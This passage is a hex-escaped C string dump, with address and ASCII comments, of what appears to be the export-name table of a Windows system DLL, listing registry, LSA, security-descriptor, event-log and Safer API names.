"\x65\x74\x53\x65\x63\x72\x65\x74\x00\x4C\x73\x61\x53\x65\x74\x53" //etSecret.LsaSetS /* 7E297920 */ "\x65\x63\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x4C\x73" //ecurityObject.Ls /* 7E297940 */ "\x61\x53\x65\x74\x53\x79\x73\x74\x65\x6D\x41\x63\x63\x65\x73\x73" //aSetSystemAccess /* 7E297960 */ "\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x53\x65\x74\x54\x72" //Account.LsaSetTr /* 7E297980 */ "\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x49\x6E\x66\x6F\x42" //ustedDomainInfoB /* 7E2979A0 */ "\x79\x4E\x61\x6D\x65\x00\x4C\x73\x61\x53\x65\x74\x54\x72\x75\x73" //yName.LsaSetTrus /* 7E2979C0 */ "\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x49\x6E\x66\x6F\x72\x6D\x61" //tedDomainInforma /* 7E2979E0 */ "\x74\x69\x6F\x6E\x00\x4C\x73\x61\x53\x74\x6F\x72\x65\x50\x72\x69" //tion.LsaStorePri /* 7E297A00 */ "\x76\x61\x74\x65\x44\x61\x74\x61\x00\x4D\x44\x34\x46\x69\x6E\x61" //vateData.MD4Fina /* 7E297A20 */ "\x6C\x00\x4D\x44\x34\x49\x6E\x69\x74\x00\x4D\x44\x34\x55\x70\x64" //l.MD4Init.MD4Upd /* 7E297A40 */ "\x61\x74\x65\x00\x4D\x44\x35\x46\x69\x6E\x61\x6C\x00\x4D\x44\x35" //ate.MD5Final.MD5 /* 7E297A60 */ "\x49\x6E\x69\x74\x00\x4D\x44\x35\x55\x70\x64\x61\x74\x65\x00\x4D" //Init.MD5Update.M /* 7E297A80 */ "\x53\x43\x68\x61\x70\x53\x72\x76\x43\x68\x61\x6E\x67\x65\x50\x61" //SChapSrvChangePa /* 7E297AA0 */ "\x73\x73\x77\x6F\x72\x64\x00\x4D\x53\x43\x68\x61\x70\x53\x72\x76" //ssword.MSChapSrv /* 7E297AC0 */ "\x43\x68\x61\x6E\x67\x65\x50\x61\x73\x73\x77\x6F\x72\x64\x32\x00" //ChangePassword2. /* 7E297AE0 */ "\x4D\x61\x6B\x65\x41\x62\x73\x6F\x6C\x75\x74\x65\x53\x44\x00\x4D" //MakeAbsoluteSD.M /* 7E297B00 */ "\x61\x6B\x65\x41\x62\x73\x6F\x6C\x75\x74\x65\x53\x44\x32\x00\x4D" //akeAbsoluteSD2.M /* 7E297B20 */ "\x61\x6B\x65\x53\x65\x6C\x66\x52\x65\x6C\x61\x74\x69\x76\x65\x53" //akeSelfRelativeS /* 7E297B40 */ "\x44\x00\x4D\x61\x70\x47\x65\x6E\x65\x72\x69\x63\x4D\x61\x73\x6B" //D.MapGenericMask /* 7E297B60 */ "\x00\x4E\x6F\x74\x69\x66\x79\x42\x6F\x6F\x74\x43\x6F\x6E\x66\x69" //.NotifyBootConfi /* 7E297B80 */ "\x67\x53\x74\x61\x74\x75\x73\x00\x4E\x6F\x74\x69\x66\x79\x43\x68" //gStatus.NotifyCh /* 7E297BA0 */ "\x61\x6E\x67\x65\x45\x76\x65\x6E\x74\x4C\x6F\x67\x00\x4F\x62\x6A" //angeEventLog.Obj /* 7E297BC0 */ "\x65\x63\x74\x43\x6C\x6F\x73\x65\x41\x75\x64\x69\x74\x41\x6C\x61" //ectCloseAuditAla /* 7E297BE0 */ "\x72\x6D\x41\x00\x4F\x62\x6A\x65\x63\x74\x43\x6C\x6F\x73\x65\x41" //rmA.ObjectCloseA /* 7E297C00 */ "\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x57\x00\x4F\x62\x6A\x65\x63" //uditAlarmW.Objec /* 7E297C20 */ "\x74\x44\x65\x6C\x65\x74\x65\x41\x75\x64\x69\x74\x41\x6C\x61\x72" //tDeleteAuditAlar /* 7E297C40 */ "\x6D\x41\x00\x4F\x62\x6A\x65\x63\x74\x44\x65\x6C\x65\x74\x65\x41" //mA.ObjectDeleteA /* 7E297C60 */ "\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x57\x00\x4F\x62\x6A\x65\x63" //uditAlarmW.Objec /* 7E297C80 */ "\x74\x4F\x70\x65\x6E\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x41" //tOpenAuditAlarmA /* 7E297CA0 */ "\x00\x4F\x62\x6A\x65\x63\x74\x4F\x70\x65\x6E\x41\x75\x64\x69\x74" //.ObjectOpenAudit /* 7E297CC0 */ "\x41\x6C\x61\x72\x6D\x57\x00\x4F\x62\x6A\x65\x63\x74\x50\x72\x69" //AlarmW.ObjectPri /* 7E297CE0 */ "\x76\x69\x6C\x65\x67\x65\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D" //vilegeAuditAlarm /* 7E297D00 */ "\x41\x00\x4F\x62\x6A\x65\x63\x74\x50\x72\x69\x76\x69\x6C\x65\x67" //A.ObjectPrivileg /* 7E297D20 */ "\x65\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x57\x00\x4F\x70\x65" //eAuditAlarmW.Ope /* 7E297D40 */ "\x6E\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41" //nBackupEventLogA /* 7E297D60 */ "\x00\x4F\x70\x65\x6E\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74" //.OpenBackupEvent /* 7E297D80 */ "\x4C\x6F\x67\x57\x00\x4F\x70\x65\x6E\x45\x6E\x63\x72\x79\x70\x74" //LogW.OpenEncrypt /* 7E297DA0 */ "\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x41\x00\x4F\x70\x65\x6E\x45" //edFileRawA.OpenE /* 7E297DC0 */ "\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x57" //ncryptedFileRawW /* 7E297DE0 */ "\x00\x4F\x70\x65\x6E\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x4F" //.OpenEventLogA.O /* 7E297E00 */ "\x70\x65\x6E\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x4F\x70\x65" //penEventLogW.Ope /* 7E297E20 */ "\x6E\x50\x72\x6F\x63\x65\x73\x73\x54\x6F\x6B\x65\x6E\x00\x4F\x70" //nProcessToken.Op /* 7E297E40 */ "\x65\x6E\x53\x43\x4D\x61\x6E\x61\x67\x65\x72\x41\x00\x4F\x70\x65" //enSCManagerA.Ope /* 7E297E60 */ "\x6E\x53\x43\x4D\x61\x6E\x61\x67\x65\x72\x57\x00\x4F\x70\x65\x6E" //nSCManagerW.Open /* 7E297E80 */ "\x53\x65\x72\x76\x69\x63\x65\x41\x00\x4F\x70\x65\x6E\x53\x65\x72" //ServiceA.OpenSer /* 7E297EA0 */ "\x76\x69\x63\x65\x57\x00\x4F\x70\x65\x6E\x54\x68\x72\x65\x61\x64" //viceW.OpenThread /* 7E297EC0 */ "\x54\x6F\x6B\x65\x6E\x00\x4F\x70\x65\x6E\x54\x72\x61\x63\x65\x41" //Token.OpenTraceA /* 7E297EE0 */ "\x00\x4F\x70\x65\x6E\x54\x72\x61\x63\x65\x57\x00\x50\x72\x69\x76" //.OpenTraceW.Priv /* 7E297F00 */ "\x69\x6C\x65\x67\x65\x43\x68\x65\x63\x6B\x00\x50\x72\x69\x76\x69" //ilegeCheck.Privi /* 7E297F20 */ "\x6C\x65\x67\x65\x64\x53\x65\x72\x76\x69\x63\x65\x41\x75\x64\x69" //legedServiceAudi /* 7E297F40 */ "\x74\x41\x6C\x61\x72\x6D\x41\x00\x50\x72\x69\x76\x69\x6C\x65\x67" //tAlarmA.Privileg /* 7E297F60 */ "\x65\x64\x53\x65\x72\x76\x69\x63\x65\x41\x75\x64\x69\x74\x41\x6C" //edServiceAuditAl /* 7E297F80 */ "\x61\x72\x6D\x57\x00\x50\x72\x6F\x63\x65\x73\x73\x49\x64\x6C\x65" //armW.ProcessIdle /* 7E297FA0 */ "\x54\x61\x73\x6B\x73\x00\x50\x72\x6F\x63\x65\x73\x73\x54\x72\x61" //Tasks.ProcessTra /* 7E297FC0 */ "\x63\x65\x00\x51\x75\x65\x72\x79\x41\x6C\x6C\x54\x72\x61\x63\x65" //ce.QueryAllTrace /* 7E297FE0 */ "\x73\x41\x00\x51\x75\x65\x72\x79\x41\x6C\x6C\x54\x72\x61\x63\x65" //sA.QueryAllTrace /* 7E298000 */ "\x73\x57\x00\x51\x75\x65\x72\x79\x52\x65\x63\x6F\x76\x65\x72\x79" //sW.QueryRecovery /* 7E298020 */ "\x41\x67\x65\x6E\x74\x73\x4F\x6E\x45\x6E\x63\x72\x79\x70\x74\x65" //AgentsOnEncrypte /* 7E298040 */ "\x64\x46\x69\x6C\x65\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69" //dFile.QueryServi /* 7E298060 */ "\x63\x65\x43\x6F\x6E\x66\x69\x67\x32\x41\x00\x51\x75\x65\x72\x79" //ceConfig2A.Query /* 7E298080 */ "\x53\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66\x69\x67\x32\x57\x00" //ServiceConfig2W. /* 7E2980A0 */ "\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65\x43\x6F\x6E\x66" //QueryServiceConf /* 7E2980C0 */ "\x69\x67\x41\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65" //igA.QueryService /* 7E2980E0 */ "\x43\x6F\x6E\x66\x69\x67\x57\x00\x51\x75\x65\x72\x79\x53\x65\x72" //ConfigW.QuerySer /* 7E298100 */ "\x76\x69\x63\x65\x4C\x6F\x63\x6B\x53\x74\x61\x74\x75\x73\x41\x00" //viceLockStatusA. /* 7E298120 */ "\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65\x4C\x6F\x63\x6B" //QueryServiceLock /* 7E298140 */ "\x53\x74\x61\x74\x75\x73\x57\x00\x51\x75\x65\x72\x79\x53\x65\x72" //StatusW.QuerySer /* 7E298160 */ "\x76\x69\x63\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69" //viceObjectSecuri /* 7E298180 */ "\x74\x79\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69\x63\x65\x53" //ty.QueryServiceS /* 7E2981A0 */ "\x74\x61\x74\x75\x73\x00\x51\x75\x65\x72\x79\x53\x65\x72\x76\x69" //tatus.QueryServi /* 7E2981C0 */ "\x63\x65\x53\x74\x61\x74\x75\x73\x45\x78\x00\x51\x75\x65\x72\x79" //ceStatusEx.Query /* 7E2981E0 */ "\x54\x72\x61\x63\x65\x41\x00\x51\x75\x65\x72\x79\x54\x72\x61\x63" //TraceA.QueryTrac /* 7E298200 */ "\x65\x57\x00\x51\x75\x65\x72\x79\x55\x73\x65\x72\x73\x4F\x6E\x45" //eW.QueryUsersOnE /* 7E298220 */ "\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x00\x51\x75\x65" //ncryptedFile.Que /* 7E298240 */ "\x72\x79\x57\x69\x6E\x64\x6F\x77\x73\x33\x31\x46\x69\x6C\x65\x73" //ryWindows31Files /* 7E298260 */ "\x4D\x69\x67\x72\x61\x74\x69\x6F\x6E\x00\x52\x65\x61\x64\x45\x6E" //Migration.ReadEn /* 7E298280 */ "\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x52\x61\x77\x00\x52" //cryptedFileRaw.R /* 7E2982A0 */ "\x65\x61\x64\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x52\x65\x61" //eadEventLogA.Rea /* 7E2982C0 */ "\x64\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x52\x65\x67\x43\x6C" //dEventLogW.RegCl /* 7E2982E0 */ "\x6F\x73\x65\x4B\x65\x79\x00\x52\x65\x67\x43\x6F\x6E\x6E\x65\x63" //oseKey.RegConnec /* 7E298300 */ "\x74\x52\x65\x67\x69\x73\x74\x72\x79\x41\x00\x52\x65\x67\x43\x6F" //tRegistryA.RegCo /* 7E298320 */ "\x6E\x6E\x65\x63\x74\x52\x65\x67\x69\x73\x74\x72\x79\x57\x00\x52" //nnectRegistryW.R /* 7E298340 */ "\x65\x67\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x41\x00\x52\x65\x67" //egCreateKeyA.Reg /* 7E298360 */ "\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x45\x78\x41\x00\x52\x65\x67" //CreateKeyExA.Reg /* 7E298380 */ "\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x45\x78\x57\x00\x52\x65\x67" //CreateKeyExW.Reg /* 7E2983A0 */ "\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x57\x00\x52\x65\x67\x44\x65" //CreateKeyW.RegDe /* 7E2983C0 */ "\x6C\x65\x74\x65\x4B\x65\x79\x41\x00\x52\x65\x67\x44\x65\x6C\x65" //leteKeyA.RegDele /* 7E2983E0 */ "\x74\x65\x4B\x65\x79\x57\x00\x52\x65\x67\x44\x65\x6C\x65\x74\x65" //teKeyW.RegDelete /* 7E298400 */ "\x56\x61\x6C\x75\x65\x41\x00\x52\x65\x67\x44\x65\x6C\x65\x74\x65" //ValueA.RegDelete /* 7E298420 */ "\x56\x61\x6C\x75\x65\x57\x00\x52\x65\x67\x44\x69\x73\x61\x62\x6C" //ValueW.RegDisabl /* 7E298440 */ "\x65\x50\x72\x65\x64\x65\x66\x69\x6E\x65\x64\x43\x61\x63\x68\x65" //ePredefinedCache /* 7E298460 */ "\x00\x52\x65\x67\x44\x69\x73\x61\x62\x6C\x65\x50\x72\x65\x64\x65" //.RegDisablePrede /* 7E298480 */ "\x66\x69\x6E\x65\x64\x43\x61\x63\x68\x65\x45\x78\x00\x52\x65\x67" //finedCacheEx.Reg /* 7E2984A0 */ "\x45\x6E\x75\x6D\x4B\x65\x79\x41\x00\x52\x65\x67\x45\x6E\x75\x6D" //EnumKeyA.RegEnum /* 7E2984C0 */ "\x4B\x65\x79\x45\x78\x41\x00\x52\x65\x67\x45\x6E\x75\x6D\x4B\x65" //KeyExA.RegEnumKe /* 7E2984E0 */ "\x79\x45\x78\x57\x00\x52\x65\x67\x45\x6E\x75\x6D\x4B\x65\x79\x57" //yExW.RegEnumKeyW /* 7E298500 */ "\x00\x52\x65\x67\x45\x6E\x75\x6D\x56\x61\x6C\x75\x65\x41\x00\x52" //.RegEnumValueA.R /* 7E298520 */ "\x65\x67\x45\x6E\x75\x6D\x56\x61\x6C\x75\x65\x57\x00\x52\x65\x67" //egEnumValueW.Reg /* 7E298540 */ "\x46\x6C\x75\x73\x68\x4B\x65\x79\x00\x52\x65\x67\x47\x65\x74\x4B" //FlushKey.RegGetK /* 7E298560 */ "\x65\x79\x53\x65\x63\x75\x72\x69\x74\x79\x00\x52\x65\x67\x4C\x6F" //eySecurity.RegLo /* 7E298580 */ "\x61\x64\x4B\x65\x79\x41\x00\x52\x65\x67\x4C\x6F\x61\x64\x4B\x65" //adKeyA.RegLoadKe /* 7E2985A0 */ "\x79\x57\x00\x52\x65\x67\x4E\x6F\x74\x69\x66\x79\x43\x68\x61\x6E" //yW.RegNotifyChan /* 7E2985C0 */ "\x67\x65\x4B\x65\x79\x56\x61\x6C\x75\x65\x00\x52\x65\x67\x4F\x70" //geKeyValue.RegOp /* 7E2985E0 */ "\x65\x6E\x43\x75\x72\x72\x65\x6E\x74\x55\x73\x65\x72\x00\x52\x65" //enCurrentUser.Re /* 7E298600 */ "\x67\x4F\x70\x65\x6E\x4B\x65\x79\x41\x00\x52\x65\x67\x4F\x70\x65" //gOpenKeyA.RegOpe /* 7E298620 */ "\x6E\x4B\x65\x79\x45\x78\x41\x00\x52\x65\x67\x4F\x70\x65\x6E\x4B" //nKeyExA.RegOpenK /* 7E298640 */ "\x65\x79\x45\x78\x57\x00\x52\x65\x67\x4F\x70\x65\x6E\x4B\x65\x79" //eyExW.RegOpenKey /* 7E298660 */ "\x57\x00\x52\x65\x67\x4F\x70\x65\x6E\x55\x73\x65\x72\x43\x6C\x61" //W.RegOpenUserCla /* 7E298680 */ "\x73\x73\x65\x73\x52\x6F\x6F\x74\x00\x52\x65\x67\x4F\x76\x65\x72" //ssesRoot.RegOver /* 7E2986A0 */ "\x72\x69\x64\x65\x50\x72\x65\x64\x65\x66\x4B\x65\x79\x00\x52\x65" //ridePredefKey.Re /* 7E2986C0 */ "\x67\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x4B\x65\x79\x41\x00\x52" //gQueryInfoKeyA.R /* 7E2986E0 */ "\x65\x67\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x4B\x65\x79\x57\x00" //egQueryInfoKeyW. /* 7E298700 */ "\x52\x65\x67\x51\x75\x65\x72\x79\x4D\x75\x6C\x74\x69\x70\x6C\x65" //RegQueryMultiple /* 7E298720 */ "\x56\x61\x6C\x75\x65\x73\x41\x00\x52\x65\x67\x51\x75\x65\x72\x79" //ValuesA.RegQuery /* 7E298740 */ "\x4D\x75\x6C\x74\x69\x70\x6C\x65\x56\x61\x6C\x75\x65\x73\x57\x00" //MultipleValuesW. /* 7E298760 */ "\x52\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x41\x00\x52" //RegQueryValueA.R /* 7E298780 */ "\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x45\x78\x41\x00" //egQueryValueExA. /* 7E2987A0 */ "\x52\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x45\x78\x57" //RegQueryValueExW /* 7E2987C0 */ "\x00\x52\x65\x67\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x57\x00" //.RegQueryValueW. /* 7E2987E0 */ "\x52\x65\x67\x52\x65\x70\x6C\x61\x63\x65\x4B\x65\x79\x41\x00\x52" //RegReplaceKeyA.R /* 7E298800 */ "\x65\x67\x52\x65\x70\x6C\x61\x63\x65\x4B\x65\x79\x57\x00\x52\x65" //egReplaceKeyW.Re /* 7E298820 */ "\x67\x52\x65\x73\x74\x6F\x72\x65\x4B\x65\x79\x41\x00\x52\x65\x67" //gRestoreKeyA.Reg /* 7E298840 */ "\x52\x65\x73\x74\x6F\x72\x65\x4B\x65\x79\x57\x00\x52\x65\x67\x53" //RestoreKeyW.RegS /* 7E298860 */ "\x61\x76\x65\x4B\x65\x79\x41\x00\x52\x65\x67\x53\x61\x76\x65\x4B" //aveKeyA.RegSaveK /* 7E298880 */ "\x65\x79\x45\x78\x41\x00\x52\x65\x67\x53\x61\x76\x65\x4B\x65\x79" //eyExA.RegSaveKey /* 7E2988A0 */ "\x45\x78\x57\x00\x52\x65\x67\x53\x61\x76\x65\x4B\x65\x79\x57\x00" //ExW.RegSaveKeyW. /* 7E2988C0 */ "\x52\x65\x67\x53\x65\x74\x4B\x65\x79\x53\x65\x63\x75\x72\x69\x74" //RegSetKeySecurit /* 7E2988E0 */ "\x79\x00\x52\x65\x67\x53\x65\x74\x56\x61\x6C\x75\x65\x41\x00\x52" //y.RegSetValueA.R /* 7E298900 */ "\x65\x67\x53\x65\x74\x56\x61\x6C\x75\x65\x45\x78\x41\x00\x52\x65" //egSetValueExA.Re /* 7E298920 */ "\x67\x53\x65\x74\x56\x61\x6C\x75\x65\x45\x78\x57\x00\x52\x65\x67" //gSetValueExW.Reg /* 7E298940 */ "\x53\x65\x74\x56\x61\x6C\x75\x65\x57\x00\x52\x65\x67\x55\x6E\x4C" //SetValueW.RegUnL /* 7E298960 */ "\x6F\x61\x64\x4B\x65\x79\x41\x00\x52\x65\x67\x55\x6E\x4C\x6F\x61" //oadKeyA.RegUnLoa /* 7E298980 */ "\x64\x4B\x65\x79\x57\x00\x52\x65\x67\x69\x73\x74\x65\x72\x45\x76" //dKeyW.RegisterEv /* 7E2989A0 */ "\x65\x6E\x74\x53\x6F\x75\x72\x63\x65\x41\x00\x52\x65\x67\x69\x73" //entSourceA.Regis /* 7E2989C0 */ "\x74\x65\x72\x45\x76\x65\x6E\x74\x53\x6F\x75\x72\x63\x65\x57\x00" //terEventSourceW. /* 7E2989E0 */ "\x52\x65\x67\x69\x73\x74\x65\x72\x49\x64\x6C\x65\x54\x61\x73\x6B" //RegisterIdleTask /* 7E298A00 */ "\x00\x52\x65\x67\x69\x73\x74\x65\x72\x53\x65\x72\x76\x69\x63\x65" //.RegisterService /* 7E298A20 */ "\x43\x74\x72\x6C\x48\x61\x6E\x64\x6C\x65\x72\x41\x00\x52\x65\x67" //CtrlHandlerA.Reg /* 7E298A40 */ "\x69\x73\x74\x65\x72\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C" //isterServiceCtrl /* 7E298A60 */ "\x48\x61\x6E\x64\x6C\x65\x72\x45\x78\x41\x00\x52\x65\x67\x69\x73" //HandlerExA.Regis /* 7E298A80 */ "\x74\x65\x72\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C\x48\x61" //terServiceCtrlHa /* 7E298AA0 */ "\x6E\x64\x6C\x65\x72\x45\x78\x57\x00\x52\x65\x67\x69\x73\x74\x65" //ndlerExW.Registe /* 7E298AC0 */ "\x72\x53\x65\x72\x76\x69\x63\x65\x43\x74\x72\x6C\x48\x61\x6E\x64" //rServiceCtrlHand /* 7E298AE0 */ "\x6C\x65\x72\x57\x00\x52\x65\x67\x69\x73\x74\x65\x72\x54\x72\x61" //lerW.RegisterTra /* 7E298B00 */ "\x63\x65\x47\x75\x69\x64\x73\x41\x00\x52\x65\x67\x69\x73\x74\x65" //ceGuidsA.Registe /* 7E298B20 */ "\x72\x54\x72\x61\x63\x65\x47\x75\x69\x64\x73\x57\x00\x52\x65\x6D" //rTraceGuidsW.Rem /* 7E298B40 */ "\x6F\x76\x65\x54\x72\x61\x63\x65\x43\x61\x6C\x6C\x62\x61\x63\x6B" //oveTraceCallback /* 7E298B60 */ "\x00\x52\x65\x6D\x6F\x76\x65\x55\x73\x65\x72\x73\x46\x72\x6F\x6D" //.RemoveUsersFrom /* 7E298B80 */ "\x45\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x00\x52\x65" //EncryptedFile.Re /* 7E298BA0 */ "\x70\x6F\x72\x74\x45\x76\x65\x6E\x74\x41\x00\x52\x65\x70\x6F\x72" //portEventA.Repor /* 7E298BC0 */ "\x74\x45\x76\x65\x6E\x74\x57\x00\x52\x65\x76\x65\x72\x74\x54\x6F" //tEventW.RevertTo /* 7E298BE0 */ "\x53\x65\x6C\x66\x00\x53\x61\x66\x65\x72\x43\x6C\x6F\x73\x65\x4C" //Self.SaferCloseL /* 7E298C00 */ "\x65\x76\x65\x6C\x00\x53\x61\x66\x65\x72\x43\x6F\x6D\x70\x75\x74" //evel.SaferComput /* 7E298C20 */ "\x65\x54\x6F\x6B\x65\x6E\x46\x72\x6F\x6D\x4C\x65\x76\x65\x6C\x00" //eTokenFromLevel. /* 7E298C40 */ "\x53\x61\x66\x65\x72\x43\x72\x65\x61\x74\x65\x4C\x65\x76\x65\x6C" //SaferCreateLevel /* 7E298C60 */ "\x00\x53\x61\x66\x65\x72\x47\x65\x74\x4C\x65\x76\x65\x6C\x49\x6E" //.SaferGetLevelIn /* 7E298C80 */ "\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x61\x66\x65\x72\x47" //formation.SaferG /* 7E298CA0 */ "\x65\x74\x50\x6F\x6C\x69\x63\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74" //etPolicyInformat /* 7E298CC0 */ "\x69\x6F\x6E\x00\x53\x61\x66\x65\x72\x49\x64\x65\x6E\x74\x69\x66" //ion.SaferIdentif /* 7E298CE0 */ "\x79\x4C\x65\x76\x65\x6C\x00\x53\x61\x66\x65\x72\x52\x65\x63\x6F" //yLevel.SaferReco /* 7E298D00 */ "\x72\x64\x45\x76\x65\x6E\x74\x4C\x6F\x67\x45\x6E\x74\x72\x79\x00" //rdEventLogEntry. /* 7E298D20 */ "\x53\x61\x66\x65\x72\x53\x65\x74\x4C\x65\x76\x65\x6C\x49\x6E\x66" //SaferSetLevelInf /* 7E298D40 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x61\x66\x65\x72\x53\x65" //ormation.SaferSe /* 7E298D60 */ "\x74\x50\x6F\x6C\x69\x63\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69" //tPolicyInformati /* 7E298D80 */ "\x6F\x6E\x00\x53\x61\x66\x65\x72\x69\x43\x68\x61\x6E\x67\x65\x52" //on.SaferiChangeR /* 7E298DA0 */ "\x65\x67\x69\x73\x74\x72\x79\x53\x63\x6F\x70\x65\x00\x53\x61\x66" //egistryScope.Saf /* 7E298DC0 */ "\x65\x72\x69\x43\x6F\x6D\x70\x61\x72\x65\x54\x6F\x6B\x65\x6E\x4C" //eriCompareTokenL /* 7E298DE0 */ "\x65\x76\x65\x6C\x73\x00\x53\x61\x66\x65\x72\x69\x49\x73\x45\x78" //evels.SaferiIsEx /* 7E298E00 */ "\x65\x63\x75\x74\x61\x62\x6C\x65\x46\x69\x6C\x65\x54\x79\x70\x65" //ecutableFileType /* 7E298E20 */ "\x00\x53\x61\x66\x65\x72\x69\x50\x6F\x70\x75\x6C\x61\x74\x65\x44" //.SaferiPopulateD /* 7E298E40 */ "\x65\x66\x61\x75\x6C\x74\x73\x49\x6E\x52\x65\x67\x69\x73\x74\x72" //efaultsInRegistr /* 7E298E60 */ "\x79\x00\x53\x61\x66\x65\x72\x69\x52\x65\x63\x6F\x72\x64\x45\x76" //y.SaferiRecordEv /* 7E298E80 */ "\x65\x6E\x74\x4C\x6F\x67\x45\x6E\x74\x72\x79\x00\x53\x61\x66\x65" //entLogEntry.Safe /* 7E298EA0 */ "\x72\x69\x52\x65\x70\x6C\x61\x63\x65\x50\x72\x6F\x63\x65\x73\x73" //riReplaceProcess /* 7E298EC0 */ "\x54\x68\x72\x65\x61\x64\x54\x6F\x6B\x65\x6E\x73\x00\x53\x61\x66" //ThreadTokens.Saf /* 7E298EE0 */ "\x65\x72\x69\x53\x65\x61\x72\x63\x68\x4D\x61\x74\x63\x68\x69\x6E" //eriSearchMatchin /* 7E298F00 */ "\x67\x48\x61\x73\x68\x52\x75\x6C\x65\x73\x00\x53\x65\x74\x41\x63" //gHashRules.SetAc /* 7E298F20 */ "\x6C\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x65\x74" //lInformation.Set /* 7E298F40 */ "\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x63\x63\x65\x73\x73\x4C" //EntriesInAccessL /* 7E298F60 */ "\x69\x73\x74\x41\x00\x53\x65\x74\x45\x6E\x74\x72\x69\x65\x73\x49" //istA.SetEntriesI /* 7E298F80 */ "\x6E\x41\x63\x63\x65\x73\x73\x4C\x69\x73\x74\x57\x00\x53\x65\x74" //nAccessListW.Set /* 7E298FA0 */ "\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x63\x6C\x41\x00\x53\x65" //EntriesInAclA.Se /* 7E298FC0 */ "\x74\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x63\x6C\x57\x00\x53" //tEntriesInAclW.S /* 7E298FE0 */ "\x65\x74\x45\x6E\x74\x72\x69\x65\x73\x49\x6E\x41\x75\x64\x69\x74" //etEntriesInAudit /* 7E299000 */ "\x4C\x69\x73\x74\x41\x00\x53\x65\x74\x45\x6E\x74\x72\x69\x65\x73" //ListA.SetEntries /* 7E299020 */ "\x49\x6E\x41\x75\x64\x69\x74\x4C\x69\x73\x74\x57\x00\x53\x65\x74" //InAuditListW.Set /* 7E299040 */ "\x46\x69\x6C\x65\x53\x65\x63\x75\x72\x69\x74\x79\x41\x00\x53\x65" //FileSecurityA.Se /* 7E299060 */ "\x74\x46\x69\x6C\x65\x53\x65\x63\x75\x72\x69\x74\x79\x57\x00\x53" //tFileSecurityW.S /* 7E299080 */ "\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x43\x6F\x64" //etInformationCod /* 7E2990A0 */ "\x65\x41\x75\x74\x68\x7A\x4C\x65\x76\x65\x6C\x57\x00\x53\x65\x74" //eAuthzLevelW.Set /* 7E2990C0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x43\x6F\x64\x65\x41" //InformationCodeA /* 7E2990E0 */ "\x75\x74\x68\x7A\x50\x6F\x6C\x69\x63\x79\x57\x00\x53\x65\x74\x4B" //uthzPolicyW.SetK /* 7E299100 */ "\x65\x72\x6E\x65\x6C\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72" //ernelObjectSecur /* 7E299120 */ "\x69\x74\x79\x00\x53\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75" //ity.SetNamedSecu /* 7E299140 */ "\x72\x69\x74\x79\x49\x6E\x66\x6F\x41\x00\x53\x65\x74\x4E\x61\x6D" //rityInfoA.SetNam /* 7E299160 */ "\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78" //edSecurityInfoEx /* 7E299180 */ "\x41\x00\x53\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69" //A.SetNamedSecuri /* 7E2991A0 */ "\x74\x79\x49\x6E\x66\x6F\x45\x78\x57\x00\x53\x65\x74\x4E\x61\x6D" //tyInfoExW.SetNam /* 7E2991C0 */ "\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x57\x00" //edSecurityInfoW. /* 7E2991E0 */ "\x53\x65\x74\x50\x72\x69\x76\x61\x74\x65\x4F\x62\x6A\x65\x63\x74" 